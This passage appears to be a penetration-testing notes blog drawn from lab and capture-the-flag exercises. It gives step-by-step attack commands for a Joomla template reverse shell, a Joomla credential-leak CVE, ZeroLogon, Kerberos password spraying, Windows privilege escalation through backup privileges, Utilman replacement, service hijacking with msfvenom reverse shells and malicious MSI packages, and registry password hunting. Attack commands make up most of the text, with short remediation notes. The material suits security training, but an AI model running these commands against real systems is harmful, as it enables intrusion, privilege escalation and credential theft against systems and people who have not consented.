    3. The lsof command can be helpful in listing open files, including JAR files opened by Java processes:

    • lsof -p <process-id> | grep “.jar”

    4. The /proc filesystem in Linux provides a wealth of information about processes. You can navigate to /proc/<process-id>/ and examine files like cmdline, which contains the command-line arguments, and maps, which displays memory maps, potentially revealing loaded JAR files.

    • ls -l /proc/<process-id>/cwd
    • cat /proc/<process-id>/cmdline

    5. Extract strings from the process memory to identify potential JAR file references:

    • strings /proc/<process-id>/mem | grep “.jar”

    6. Java applications may log information about loaded JAR files. Check the application logs for any relevant details

    Exploitation

    1. Once you locate the jar file you can transfer it to your computer and examine the code using jd-gui

    2. Click open file, locate the .jar, open it

    3. Expand the tabs analyze the code and try to find flaws or any confidential data such as usernames & passwords

    Note: In this case we found POSTGRESQL database username and password

    (CVE-2023–1326)[Privilege Escalation] apport-cli 2.26.0

    A privilege escalation attack was found in apport-cli 2.26.0 and earlier which is similar to CVE-2023-26604. If a system is specially configured to allow unprivileged users to run sudo apport-cli, less is configured as the pager, and the terminal size can be set: a local attacker can escalate privilege. It is extremely unlikely that a system administrator would configure sudo to allow unprivileged users to perform this class of exploit.

    This vulnerability only works if assign in sudoers

    Identification

    1. Verify that apport-cli is allowed to run with sudo privileges

    • sudo -l

    2. Verify that the version is lower than 2.26.0

    • sudo /usr/bin/apport-cli -v

    Exploitation

    1. Execute apport-cli with parameter file bug (Select any option)

    • sudo /usr/bin/apport-cli –file-bug

    2. Select any option

    3. Press any key

    4. Press V (View Report), this will open a less page as root

    5. Now execute a shell, click enter

    • !/bin/bash

    6. You’ll get a shell as root

    Remedy

    Upgrade the apport-cli version

    Restrict the assignment to users

    Sources

    https://security.snyk.io/vuln/SNYK-UBUNTU2210-APPORT-5422155

    https://nvd.nist.gov/vuln/detail/CVE-2023-1326

    https://github.com/diego-tella/CVE-2023-1326-PoC

    [Exploitation] Reverse shell Joomla

    This article explains how to create a reverse shell in Joomla platform

    1. Log into Joomla platform

    • http://dev.devvortex.htb/administrator/

    2. Having access to the Jommla Administrator dashboard navigate to System->Templates->Administrator Templates

    • Select the template you want to edit

    3. Go to Index.php (or any other page that is executed)

    4. Insert your PHP code in here, and click on save

    • system(“/bin/bash -c ‘bash -i >& /dev/tcp/10.10.14.166/4444 0>&1′”);

    Note: In this case I added a reverse shell, you can use echo first to try to make sure a string is printed and the code executed

    • echo “Vry4n was here!”;

    5. Start a listener in your local machine

    • nc -lvp 4444

    6. Refresh the Joomla Administrator page, and, you should receive a reverse shell

    Remedy

    Ensure administrators use strong passwords

    Grant administrator access only to users that require it

    (CVE-2023-23752)[Exploitation] Joomla! CMS security bypass, Unauthenticated Information Disclosure

    Joomla versions between 4.0.0 and 4.2.7, inclusive, contain an improper API access vulnerability. This vulnerability allows unauthenticated users access to webservice endpoints which contain sensitive information. Specifically, for this module we exploit the users and config/application endpoints. This module was tested against Joomla 4.2.7 running on Docker.

    As discussed, CVE-2023-23752 is an authentication bypass resulting in an information leak. Most of the public exploits use the bypass to leak the system’s configuration, which contains the Joomla! MySQL database credentials in plaintext. The following demonstrates the leak:

    • curl -v http://dev.devvortex.htb/api/index.php/v1/config/application?public=true

    In the proof of concept above, the server responds with the credentials lewis:P4ntherg0t1n5r3c0n##, which are the credentials for our test Joomla! MySQL account.

    Affected Products

    Joomla! 4.0.0

    Joomla! 4.2.7

    4.0.0 – 4.2.7

    Identification

    1. Scan Joomla using JoomScan script (https://github.com/OWASP/joomscan)

    • joomscan –url http://dev.devvortex.htb

    Note: Knowing the version is between 4.0.0 – 4.2.7, we can assume this host is vulnerable.

    Exploitation #1 (Metasploit)

    1. We can use joomla_api_improper_access_checks to exploit this vulnerability

    • use auxiliary/scanner/http/joomla_api_improper_access_checks
    • show options

    2. Now set the target host and port if required

    • set RHOSTS dev.devvortex.htb
    • run

    Exploitation #2 (Script)

    1. We can try another script (https://github.com/Acceis/exploit-CVE-2023-23752)

    • git clone https://github.com/Acceis/exploit-CVE-2023-23752.git
    • cd exploit-CVE-2023-23752
    • ls

    2. Install dependencies (OPTIONAL)

    • gem install httpx docopt paint

    3. Run the script help menu

    • ruby exploit.rb -h

    4. Run the script

    • ruby exploit.rb http://dev.devvortex.htb

    Remediation

    Upgrade to the latest version of Joomla! CMS (4.2.8 or later), available from the Joomla! Web site.

    Sources

    https://vulncheck.com/blog/joomla-for-rce

    https://exchange.xforce.ibmcloud.com/vulnerabilities/247706

    https://developer.joomla.org/security-centre/894-20230201-core-improper-access-check-in-webservice-endpoints.html

    https://packetstormsecurity.com/files/171474

    https://www.mend.io/vulnerability-database/CVE-2023-23752

    https://www.rapid7.com/db/modules/auxiliary/scanner/http/joomla_api_improper_access_checks/

    (CVE-2020-1472)[Privilege Escalation] ZeroLogon, Microsoft Windows Netlogon

    Zero Logon is a purely statistics based attack that abuses a feature within MS-NRPC (Microsoft NetLogon Remote Protocol), MS-NRPC is a critical authentication component of Active Directory that handles authentication for User and Machine accounts. In short — the attack mainly focuses on a poor implementation of Cryptography. To be more specific, Microsoft chose to use AES-CFB8 for a function called ComputeNetlogonCredential, which is normally fine, except they had hard coded the Initialization Vector to use all zeros instead of a random string. When an attacker sends a message only containing zeros with the IV of zero, there is a 1-in-256 chance that the Ciphertext will be Zero.

    Normally, if we tried a statistics based attack on any user account, we would get locked out. This is not the case if we apply this principal to machine accounts. Machines accounts behave in a much different way than standard user accounts.

    An elevation of privilege vulnerability exists when an attacker establishes a vulnerable Netlogon secure channel connection to a domain controller, using the Netlogon Remote Protocol (MS-NRPC). An attacker who successfully exploited the vulnerability could run a specially crafted application on a device on the network.

    To exploit the vulnerability, an unauthenticated attacker would be required to use MS-NRPC to connect to a domain controller to obtain domain administrator access.

    Analyzing the MS-NRPC Logon Process

    To analyze where the vulnerability occurs, we’ll be using the Diagram provided by Secura as well as Microsoft Documentation to decipher the magic behind Zero Logon. The sources can be found at the bottom of this task.

    Zerologon Explained

    Step by step of this process

    Step 1. The client creates a NetrServerReqChallenge and sends it off [Figure 1. Step 1]. This contains the following values:

    • The DC
    • The Target Device (Also the DC, in our case)
    • A Nonce (In our case is 16 Bytes of Zero).

    Step 2. The server receives the NetrServerReqChallenge, the server will then generate it’s own Nonce (This is called the Server Challenge), the server will send the Server Challenge back. [Figure 1. Step 2]

    Step 3. The client (us) will compute it’s NetLogon Credentials with the Server Challenge provided [Figure 1. Step 3]. It uses the NetrServerAuthenticate3 method which requires the following parameters:

    • A Custom Binding Handle (Impacket handles this for us, it’s negotiated prior)
    • An Account Name (The Domain Controller’s machine account name. ex: DC01$)
    • A Secure Channel Type (Impacket sort of handles this for us, but we still need to specify it: [nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel])
    • The Computer Name (The Domain Controller ex: DC01)
    • The Client Credential String (this will be 8 hextets of \x00 [16 Bytes of Zero])
    • Negotiation Flags (The following value observed from a Win10 client with Sign/Seal flags disabled: 0x212fffff Provided by Secura)

    Step 4. The server will receive the NetrServerAuthenticate request and will compute the same request itself using it’s known, good values. If the results are good, the server will send the required info back to the client. [Figure 1. Step 4.]

    At this point the attempt to exploit the Zero Logon vulnerability is under way. The above steps above will be looped through a certain number of times to attempt to exploit the Zero Logon vulnerability. The actual exploit occurs at Step 3 and 4, this where we’re hoping for the Server to a have the same computations as the client. This is where are 1-in-256 chance comes in.

    Step 5. If the server calculates the same value, the client will re-verify and once mutual agreement is confirmed, they will agree on a session key. The session key will be used to encrypt communications between the client and the server, which means authentication is successful. [Figure 1. Step 5]

    Identification

    Nmap

    1. Discover the machine netbios name

    • nmap -sV -sC -A -T5 10.10.105.45 -Pn

    Note: We can see port 3389 open that is hosting ms-wbt-server and the common name of the server is DC01.hololive.local

    Metasploit

    1. Test this vulnerability using Metasploit once, you get the netbios name.

    • search cve:2020-1472
    • use auxiliary/admin/dcerpc/cve_2020_1472_zerologon
    • show options

    2. Fill the required fields

    • set NBNAME DC01
    • set RHOSTS 10.10.105.45
    • run

    Exploitation

    1. We’ll use a script (https://github.com/Sq00ky/Zero-Logon-Exploit) to exploit this vulnerability, and change the password

    • git clone https://github.com/Sq00ky/Zero-Logon-Exploit.git
    • cd Zero-Logon-Exploit
    • ls

    2. Run this script, we need the DC name and IP

    • python3 zeroLogon-NullPass.py DC01 10.10.105.45

    3. Now use, impacket secretsdump to extract all the credentials

    • impacket-secretsdump -just-dc -no-pass DC01\$@10.10.105.45

    4. Now we can use the administrator hash to log in using WinRM (pass-the-hash)

    • evil-winrm -u administrator -H “3f3ef89114fb063e3d7fc23c20f65568” -i 10.10.105.45
    • whoami

    Remedy

    Use Microsoft Automatic Update to apply the appropriate patch for your system, or the Microsoft Security Update Guide to search for available patches.

    Sources

    https://tryhackme.com/room/zer0logon

    https://github.com/Sq00ky/Zero-Logon-Exploit

    https://exchange.xforce.ibmcloud.com/vulnerabilities/185897

    https://msrc.microsoft.com/update-guide/en-us/advisory/CVE-2020-1472

    https://support.microsoft.com/en-us/topic/how-to-manage-the-changes-in-netlogon-secure-channel-connections-associated-with-cve-2020-1472-f7e8cc17-0309-1d6a-304e-5ba73cd1a11e

    https://www.exploit-db.com/exploits/49071

    https://packetstormsecurity.com/files/160127

    https://www.cve.org/CVERecord?id=CVE-2020-1472

    https://www.secura.com/whitepapers/zerologon-whitepaper

    https://dirkjanm.io/a-different-way-of-abusing-zerologon/

    https://www.exploit-db.com/exploits/49071

    https://github.com/risksense/zerologon

    https://github.com/SecuraBV/CVE-2020-1472

    [How to] Kerbrute

    A tool to quickly bruteforce and enumerate valid Active Directory accounts through Kerberos Pre-Authentication

    https://github.com/ropnop/kerbrute

    Kerbrute has three main commands:

    • bruteuser – Bruteforce a single user’s password from a wordlist
    • bruteforce – Read username:password combos from a file or stdin and test them
    • passwordspray – Test a single password against a list of users
    • userenum – Enumerate valid domain usernames via Kerberos

    A domain (-d) or a domain controller (–dc) must be specified. If a Domain Controller is not given the KDC will be looked up via DNS.

    By brute-forcing Kerberos pre-authentication, you do not trigger the account failed to log on event which can throw up red flags to blue teams. When brute-forcing through Kerberos you can brute-force by only sending a single UDP frame to the KDC allowing you to enumerate the users on the domain from a wordlist.

    Using Nmap do extract the information needed (Domain)

    • nmap -sC -A -T5 10.10.123.18 -Pn

    How to run Kerbrute

    1. Download the binary from github (https://github.com/ropnop/kerbrute/releases)

    2. Change the binary permissions to add execution

    • chmod 777 kerbrute

    3. Execute the binary with (-h) flag to get the help menu

    • ./kerbrute -h

    4. Display the tool version

    • ./kerbrute version

    How to use

    1. Enumerate users, providing a user list, against the DC and the domain

    • ./kerbrute_linux_386 userenum –dc 10.10.165.132 -d spookysec.local ../userlist.txt
    • ./kerbrute_linux_386 userenum –dc 10.10.165.132 –domain spookysec.local ../userlist.txt

    2. Password Spray

    • ./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123

    3. Brute User

    • ./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com passwords.lst thoffman

    4. Brute Force

    • cat combos.lst | ./kerbrute -d lab.ropnop.com bruteforce –

    Note: (format username:password)

    Extra

    1. Modify the number of threads used by the tool

    • ./kerbrute userenum –dc 10.10.165.132 –domain spookysec.local ../userlist.txt -t 50

    2. Output is logged to stdout, but a log file can be specified with -o.

    • ./kerbrute userenum –domain spookysec.local ../userlist.txt -o outfile.txt

    3. By default, failures are not logged, but that can be changed with -v (verbose)

    • ./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com passwords.lst thoffman -v

    4. Lastly, Kerbrute has a –safe option. When this option is enabled, if an account comes back as locked out, it will abort all threads to stop locking out any other accounts

    • ./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com passwords.lst thoffman –safe

    [Privilege Escalation] Windows Privileges: SeBackupPrivilege / SeRestorePrivilege

    Windows operating systems, privileges refer to specific rights or permissions granted to users, groups, or processes, enabling them to perform certain actions on the system. These privileges play a crucial role in maintaining the security and integrity of the operating system by controlling access to various resources and functionalities.

    https://learn.microsoft.com/en-us/windows/win32/secauthz/privilege-constants

    You can find a comprehensive list of exploitable privileges on the Priv2Admin Github project.

    SeBackupPrivilege / SeRestorePrivilege

    The SeBackup and SeRestore privileges allow users to read and write to any file in the system, ignoring any DACL in place. The idea behind this privilege is to allow certain users to perform backups from a system without requiring full administrative privileges.

    Having this power, an attacker can trivially escalate privileges on the system by using many techniques. The one we will look at consists of copying the SAM and SYSTEM registry hives to extract the local Administrator’s password hash.

    Information Gathering

    1. We will need to open a command prompt using the “Open as administrator” option to use these privileges. which by default is granted the SeBackup and SeRestore privileges

    • whoami /priv

    Exploitation

    Backup SAM & System

    1. Save the registry

    • reg save hklm\system system.hive
    • reg save hklm\sam sam.hive

    2. We can now copy these files to our attacker machine using SMB or any other available method. For SMB, we can use impacket’s smbserver.py to start a simple SMB server with a network share (https://github.com/fortra/impacket/tree/master/impacket)

    • cd /tmp
    • mkdir share
    • locate smbserver.py
    • impacket-smbserver -smb2support -username THMBackup -password CopyMaster555 public share

    Note:

    This will create a share named public pointing to the share directory, which requires the username and password of our current windows session. I tried to create a regular public server, due to strict policy I was forced to use the credentials

    3. we can use the copy command in our windows machine to transfer both files to our SMB share

    • copy C:\Users\THMBackup\Desktop\sam.hive \\10.9.139.128\public\
    • copy C:\Users\THMBackup\Desktop\system.hive \\10.9.139.128\public\

    4. Confirm the files were transferred to our share

    • cd /tmp/share
    • ls

    5. Use impacket-secretsdump to decode the credentials

    • impacket-secretsdump -sam sam.hive -system system.hive LOCAL

    6. We can finally use the Administrator’s hash to perform a Pass-the-Hash attack and gain access to the target machine with SYSTEM privileges:

    • impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:8f81ee5558e2d1205a84d07b0e3b34f5 administrator@10.10.209.47

    Recommendations

    Principle of Least Privilege (PoLP):

    • Adhere to the principle of least privilege. Grant the minimum necessary privileges to accomplish the required tasks. Avoid giving broad administrative privileges when specific backup and restore capabilities are all that is needed.

    Secure Backup Operators Group:

    • The Backup Operators group has SeBackupPrivilege. Ensure that membership in this group is limited to trusted individuals who genuinely need backup-related privileges.

    [Privilege Escalation] Windows Privileges: SeTakeOwnership

    Windows operating systems, privileges refer to specific rights or permissions granted to users, groups, or processes, enabling them to perform certain actions on the system. These privileges play a crucial role in maintaining the security and integrity of the operating system by controlling access to various resources and functionalities.

    https://learn.microsoft.com/en-us/windows/win32/secauthz/privilege-constants

    You can find a comprehensive list of exploitable privileges on the Priv2Admin Github project.

    SeTakeOwnership

    The SeTakeOwnership privilege in Windows allows a user to take ownership of objects, such as files, registry keys and directories, and modify their security descriptors. This privilege is primarily used for administrative tasks, but it can potentially be abused for privilege escalation if not properly managed, search for a service running as SYSTEM and take ownership of the service’s executable. To understand how to prevent SeTakeOwnership privilege escalation, let’s discuss the requirements for a successful exploit and then explore preventive measures:

    Requirements for Successful SeTakeOwnership Privilege Escalation:

    Granting of SeTakeOwnership Privilege:

    • The user must be granted the SeTakeOwnership privilege, either directly or through group membership. Members of the Administrators group typically have this privilege.

    Access to Target Objects:

    • The user must have read and execute permissions on the target objects (files, directories) to take ownership. Without the necessary permissions, the user won’t be able to access the objects to take ownership.

    Information Gathering

    1. We will need to open a command prompt using the “Open as administrator” option to use these privileges. SeTakeOwnership should be assigned

    • whoami /priv

    Exploitation (Utilman)

    1. We’ll abuse utilman.exe to escalate privileges. Utilman is a built-in Windows application used to provide Ease of Access options during the lock screen

    utilman normal behaviour

    2. Since Utilman is run with SYSTEM privileges, we will effectively gain SYSTEM privileges if we replace the original binary for any payload we like. As we can take ownership of any file, replacing it is trivial.

    • icacls “C:\Windows\System32\Utilman.exe”

    3. To replace utilman, we will start by taking ownership of it with the following command:

    • takeown /f C:\Windows\System32\Utilman.exe
    • whoami

    Notice that being the owner of a file doesn’t necessarily mean that you have privileges over it, but being the owner you can assign yourself any privileges you need.

    4. To give your user full permissions over utilman.exe you can use the following command:

    • icacls C:\Windows\System32\Utilman.exe /grant THMTakeOwnership:F
    • icacls “C:\Windows\System32\Utilman.exe”

    5. After this, we will replace utilman.exe with a copy of cmd.exe, (if you can back up utilman it could be great)

    • copy cmd.exe utilman.exe

    6. To trigger utilman, we will lock our screen from the start button:

    7. And finally, proceed to click on the “Ease of Access” button, which runs utilman.exe with SYSTEM privileges. Since we replaced it with a cmd.exe copy, we will get a command prompt with SYSTEM privileges:

    Extra

    Use this with files that might contain credentials such as

    • %WINDIR%\repair\sam
    • %WINDIR%\repair\system
    • %WINDIR%\repair\software
    • %WINDIR%\repair\security
    • %WINDIR%\system32\config\security.sav
    • %WINDIR%\system32\config\software.sav
    • %WINDIR%\system32\config\system.sav
    • %WINDIR%\system32\config\SecEvent.Evt
    • %WINDIR%\system32\config\default.sav
    • c:\inetpub\wwwwroot\web.config

    Recommendations

    • Principle of Least Privilege (PoLP)
    • Regularly Audit and Review Permissions
    • Security Policies and Group Memberships

    [Privilege Escalation] Insecure Service Permissions BinPath

    DACL — Discretionary Access Control Lists. These are used by Windows systems to specify who can access a given resource. While they are often referenced when talking about files, they also apply to other components such as registry keys, services and scheduled tasks.

    Should the service DACL (not the service’s executable DACL) allow you to modify the configuration of a service, you will be able to reconfigure the service. This will allow you to point to any executable you need and run it with any account you prefer, including SYSTEM itself.

    Access Rights for the Service Control Manager

    The SCM creates a service object’s security descriptor when the service is installed by the CreateService function. The default security descriptor of a service object grants the following access.

    Anything like SERVICE_CHANGE_CONFIG or SERVICE_ALL_ACCESS is a win. In fact, any of the following permissions are worth looking out for:

    • SERVICE_CHANGE_CONFIG
    • SERVICE_ALL_ACCESS
    • GENERIC_WRITE
    • GENERIC_ALL
    • WRITE_DAC
    • WRITE_OWNER

    Detection

    1. List all the services and their permissions, try to find any interesting one (https://learn.microsoft.com/en-us/sysinternals/downloads/accesschk)

    • .\accesschk.exe /accepteula -uwcqv *

    Note: This seems to be an interesting service which has (RW) BUILTIN\Users with SERVICE_ALL_ACCESS

    2. Now query the service

    • .\accesschk.exe -qlc thmservice

    Note: Here we can see that the BUILTIN\\Users group has the SERVICE_ALL_ACCESS permission, which means any user can reconfigure the service.

    3. Query the service for more information

    • sc.exe qc thmservice

    Note: there are 2 interesting fields (BINARY_PATH_NAME & SERVICE_START_NAME)

    Exploitation #1: Executable File

    1. Knowing we can modify the service we can create a payload to place within the computer

    • msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.9.139.128 LPORT=4447 -f exe-service -o payload.exe
    • python3 -m http.server 9997

    2. Transfer this file to a location that can be read in in the target compiter

    • IWR http://10.9.139.128:9997/payload.exe -OutFile payload.exe
    • dir payload.exe

    3. Once the payload is in the target computer, assign full permissions to Everyone

    • icacls C:\Users\thm-unpriv\payload.exe
    • icacls C:\Users\thm-unpriv\payload.exe /grant Everyone:F
    • icacls C:\Users\thm-unpriv\payload.exe

    4. Modify the service BINARY_PATH_NAME to be directed to our payload script

    • sc.exe qc THMService
    • sc.exe config THMService binPath= “C:\Users\thm-unpriv\payload.exe” obj= LocalSystem
    • sc.exe qc THMService

    5. Start a listener in your local computer, using the same port as the payload

    • nc -lvnp 4447

    6. Stop and then start the service

    • sc stop THMService
    • sc start THMService

    7. Checking the reverse shell, you should see a connection back

    • whoami

    Exploitation #2: Command

    1. Instead of uploading a file, you can execute a command instead.

    • whoami
    • sc config daclsvc binpath= “net localgroup administrators <user> /add”

    2, Confirm the change

    • qc daclsvc
    • qc <service>

    3. Restart the service

    • sc start daclsvc

    Before

    • net localgroup administrator

    After

    • net localgroup administrator

    Recommendations

    Principle of Least Privilege (PoLP):

    • Follow the principle of least privilege, which means granting the minimum level of access or permissions necessary for a user or system to perform its functions. Avoid giving unnecessary privileges to services or users.

    Isolate Services:

    • Run different services in isolated environments or containers to minimize the potential impact of a security breach in one service on others.

    Access Controls:

    • Implement robust access controls to restrict access to sensitive resources. Use tools like access control lists (ACLs) and ensure that permissions are properly configured.

    Security Policies:

    • Develop and enforce security policies that clearly define acceptable use and access levels. Regularly review and update these policies.

    [Privilege Escalation] Insecure Permissions on Service Executable

    In Windows, services are programs or processes that run in the background, providing essential functionality to the operating system. Each service is associated with an executable file that defines its behavior

    Insecure Permissions on Service Executable Privilege Escalation refers to a security vulnerability where the permissions assigned to a service executable in Windows are improperly configured, allowing unauthorized users or attackers to escalate their privileges and gain higher levels of access on a system. This type of vulnerability can pose a significant threat to the overall security of a system, as it may lead to unauthorized access, data breaches, and potential system compromise.

    Common scenarios leading to insecure permissions on service executables include:

    • Improper Configuration: Misconfigurations during service installation or updates may result in insecure file permissions.
    • Weak Access Controls: Services may inherit permissions from parent directories or have default permissions that are overly permissive, allowing non-privileged users to modify or replace the executable.

    Procedure

    1. Enumerate all services to check if their original .exe (binary) is writable.

    2. Modify or change the original binary with your payload .exe binary.

    3. Refresh or start the service, the service will execute its .exe & run whatever is written on it with SYSTEM privileges.

    Access Rights for the Service Control Manager

    The SCM creates a service object’s security descriptor when the service is installed by the CreateService function. The default security descriptor of a service object grants the following access.

    Anything like SERVICE_CHANGE_CONFIG or SERVICE_ALL_ACCESS is a win. In fact, any of the following permissions are worth looking out for:

    • SERVICE_CHANGE_CONFIG
    • SERVICE_ALL_ACCESS
    • GENERIC_WRITE
    • GENERIC_ALL
    • WRITE_DAC
    • WRITE_OWNER

    Detection

    PowerUp

    1. Running PowerUp, you can find which services are modifiable

    • Import-module .\PowerUp.ps1
    • Get-ModifiableServiceFile

    CMD

    1. Run accesschk.exe to know which permissions your user has, you need to download this from (https://learn.microsoft.com/en-us/sysinternals/downloads/accesschk)

    • whoami
    • .\accesschk64.exe /accepteula -uwcqv “<User>” *
    • .\accesschk64.exe /accepteula -uwcqv “Authenticated Users” *

    Note: In this case we have SERVICE_ALL_ACCESS

    2. List all the services and their permissions, try to find any interesting one

    • .\accesschk64.exe /accepteula -uwcqv *

    Note: This will show list each service and the groups which have write permissions to that service

    3. Query this service for more information

    • sc qc WindowsScheduler

    Note: there are 2 interesting fields (BINARY_PATH_NAME & SERVICE_START_NAME)

    4. Check what permissions you have on the BINARY_PATH_NAME file, (everyone appears to have M – Modify permissions)

    • icacls C:\PROGRA~2\SYSTEM~1\WService.exe

    Note: (I) indicates inherited permissions, (F) denotes full control, (RX) represents read and execute permissions, modify permissions (M). if you have an account in any of these groups then you’ve potentially got privilege escalation.

    5. Check the permissions on the file

    • .\accesschk64.exe /accepteula -uwqv “C:\PROGRA~2\SYSTEM~1\WService.exe”

    6. Check which groups this user is member of

    • net user thm-unpriv

    Note: We can see we are part of Users group, which has (RW) permissions on the C:\PROGRA~2\SYSTEM~1\WService.exe file

    Exploitation

    1. The Everyone group has modify permissions (M) on the service’s executable. This means we can simply overwrite it with any payload of our preference, and the service will execute it with the privileges of the configured user account.

    • msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o rev-shell.exe
    • python3 -m http.server 9999

    2. Transfer this file to the target machine

    • IWR http://10.9.139.128:9999/rev-shell.exe

    3. Once the file has been transferred, start a listener in your local machine

    • nc -lvnp 4445

    4. Move to the target folder (C:\PROGRA~2\SYSTEM~1\) and rename the target file (WService.exe) to create a back up

    • cd C:\PROGRA~2\SYSTEM~1\
    • dir Wserv*
    • move WService.exe WService.exe.bak

    5. Now move the reverse shell payload to the target directory

    • move C:\Users\thm-unpriv\rev-shell.exe WService.exe
    • dir WServ*

    6. Now assign Full (F) permissions to Everyone

    • icacls WService.exe
    • icacls WService.exe /grant Everyone:F
    • icacls WService.exe

    7. Once, the original file has been replaced by our crafted program, we will proceed to restart the service that run it

    • sc.exe stop windowsscheduler
    • sc.exe start windowsscheduler

    8. As it ran, you should get the reverse shell

    • whoami

    Metasploit

    This module attempts to exploit existing administrative privileges to obtain a SYSTEM session. If directly creating a service fails, this module will inspect existing services to look for insecure configuration, file or registry permissions that may be hijacked. It will then attempt to restart the replaced service to run the payload.

    • use exploit/windows/local/service_permissions
    • set lhost 192.168.1.3
    • set session 1
    • exploit

    This will result in a new session as NT AUTHORITY\SYSTEM when this succeeds.

    Remedy

    Check if any of the following groups have permissions to modify executable files that are started by Windows services:

    – Everyone

    – Users

    – Domain Users

    – Authenticated Users

    Ensure the groups listed above do not have permissions to modify or write service executables. Additionally, ensure these groups do not have Full Control permission to any directories that contain service executables.

    Sources

    https://medium.com/@LE0_Hak/privileges-escalation-techniques-basic-to-advanced-for-windows-d0f0c04d6d04

    https://asfiyashaikh.medium.com/windows-privesc-weak-service-permission-b90f3bf4d44f

    https://www.hackingarticles.in/windows-privilege-escalation-weak-services-permission/

    https://medium.com/@gwazzu/windows-privilege-escalation-c7465a92317c

    https://help.defense.com/en/articles/6600745-insecure-windows-service-permissions

    https://www.tenable.com/plugins/nessus/65057

    [Privilege Escalation] Abusing AlwaysInstallElevated

    AlwaysInstallElevated is a registry setting in Microsoft Windows that, when configured, allows non-administrative users to install Microsoft Windows Installer packages (MSI files) with elevated privileges. This setting is intended for specific scenarios where non-administrative users need the ability to install certain software packages. However, if misconfigured or abused, it can pose a security risk.

    If a machine has the AlwaysInstallElevated policy enabled, an attacker could craft a malicious .msi package and run it using SYSTEM level privileges, therefore executing arbitrary code as SYSTEM.

    For this attack to work, the “AlwaysInstallElevated” value in following Registry keys has to be set to 1:

    • HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
    • HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer

    For the Windows configuration

    Type gpedit.msc in the Run dialog box of the Start Menu in the Windows 7 machine and the Local Group Policy editor window prompt will open

    • Change the settings of AlwaysInstalledElevated policy
    • For the Computer configuration

    Navigate to the below path in the Windows machine

    • Computer Configuration\Administrative Templates\Windows Components\Windows Installer

    Enable the Always install with elevated privileges

    For the User configuration

    Navigate to the below path in the Windows machine

    • User Configuration\Administrative Templates\Windows Components\Windows Installer

    Enable the Always install with elevated privileges

    Detection

    1. Query the AlwaysInstallElevated registries

    • reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
    • reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

    WinPEAS

    1. This can also be checked with automated scripts such as WinPEAS:

    • winpeas.exe quiet systeminfo

    Exploitation (Binary Reverse Shell)

    1. We can craft our own MSI payload, in this case we will use MSFVenom

    • msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKING_10.10.254.109 LPORT=LOCAL_PORT -f msi -o malware.msi
    • msfvenom -p windows/exec CMD=’net localgroup administrators raaz /add’ -f msi > /root/Desktop/malware.msi

    2. Transfer the Msi package to the target computer

    3. install the .msi file:

    • msiexec /quiet /qn /i malware.msi

    The flags used are for the following:

    • /quiet – quiet mode, which means there’s no user interaction required
    • /qn – specifies there’s no UI during the installation process
    • Specifies normal installation

    Note: Once the package is installed, the malicious code is executed, granting SYSTEM level access to the system through a reverse shell.

    Metasploit (Post-Exploitation)

    1. This vulnerability can also be exploited by using the always_install_elevated Metasploit module. Once a meterpreter shell is obtained, all that is required is to brackground the session, search for and set the module, set the session value and run it:

    • use exploit/windows/local/always_install_elevated
    • msf exploit(always_install_elevated) > set session 1
    • msf exploit(always_install_elevated) > exploit

    PowerUp (Write-UserAddMSI)

    This function writes out a precompiled MSI installer that prompts for a user/group addition. This function can be used to abuse Get-RegistryAlwaysInstallElevated (PowerUp)

    1. Identify local group members of the Administrators group

    • net localgroup Administrators

    2. Now run the script, it will create a new MSI file, this new file will create a new user and assign it to the administrators group

    • Write-UserAddMSI

    3. Execute this MSI file with the AlwaysInstallElevated permissions

    • Open the MSI (double click)
    • Use msiexec to run it

    4. Click on create, and check again the administrators group.

    • net localgroup Administrators

    Recommendations

    1. Disable “AlwaysInstallElevated” Policy

    To mitigate this type of attack, the following steps can be used in Group Policy editor to resolve the misconfiguration. Configure the policy value to “Disabled” for

    • Computer Configuration \Administrative Templates\Windows Components \Windows Installer \”Always install with elevated privileges”
    • User Configuration\Administrative Templates\Windows Components\Windows Installer \”Always install with elevated privileges”

    2. Limit User Privileges

    3. Registry Events

    • The below snippet shows Sysmon Event ID 13: RegistryEvent (Value Set).

    References

    https://steflan-security.com/windows-privilege-escalation-alwaysinstallelevated-policy/

    https://www.hackingarticles.in/windows-privilege-escalation-alwaysinstallelevated/

    https://juggernaut-sec.com/alwaysinstallelevated/

    https://systemweakness.com/understanding-registry-escalation-exploiting-the-alwaysinstallelevated-setting-for-windows-c9d137152849

    https://dmcxblue.gitbook.io/red-team-notes/privesc/unquoted-service-path

    https://bherunda.medium.com/windows-privesc-detecting-alwaysinstallelevated-policy-abuse-f3ffa7a734bd

    https://library.mosse-institute.com/articles/2022/07/windows-privilege-escalation-alwaysinstallelevated/windows-privilege-escalation-alwaysinstallelevated.html

    [Credential Dumping] Hunting for passwords in usual spots

    Common Commands and searches

    Search for hidden files

    • dir /a C:

    Search for file names and contents

    • dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* == *user*
    • findstr /SI “passw pwd” *.xml *.ini *.txt *.ps1 *.bat *.config
    • dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

    Search for passwords in registry

    • reg query HKLM /f password /t REG_SZ /s
    • reg query HKLU /f password /t REG_SZ /s

    Read the Registry

    • reg query “HKLMSOFTWAREMicrosoftWindows NTCurrentversionWinlogon”
    • reg query “HKLMSYSTEMCurrentControlSetServicesSNMP”
    • reg query “HKCUSoftwareSimonTathamPuTTYSessions”
    • reg query “HKCUSoftwareORLWinVNC3Password”
    • reg query HKEY_LOCAL_MACHINESOFTWARERealVNCWinVNC4 /v password
    • reg query “HKCUSoftwareORLWinVNC3Password”
    • reg query “HKCUSoftwareTightVNCServer”
    • reg query “HKCUSoftwareOpenSSHAgentKeys”

    Hunting for SAM and SYSTEM Backups

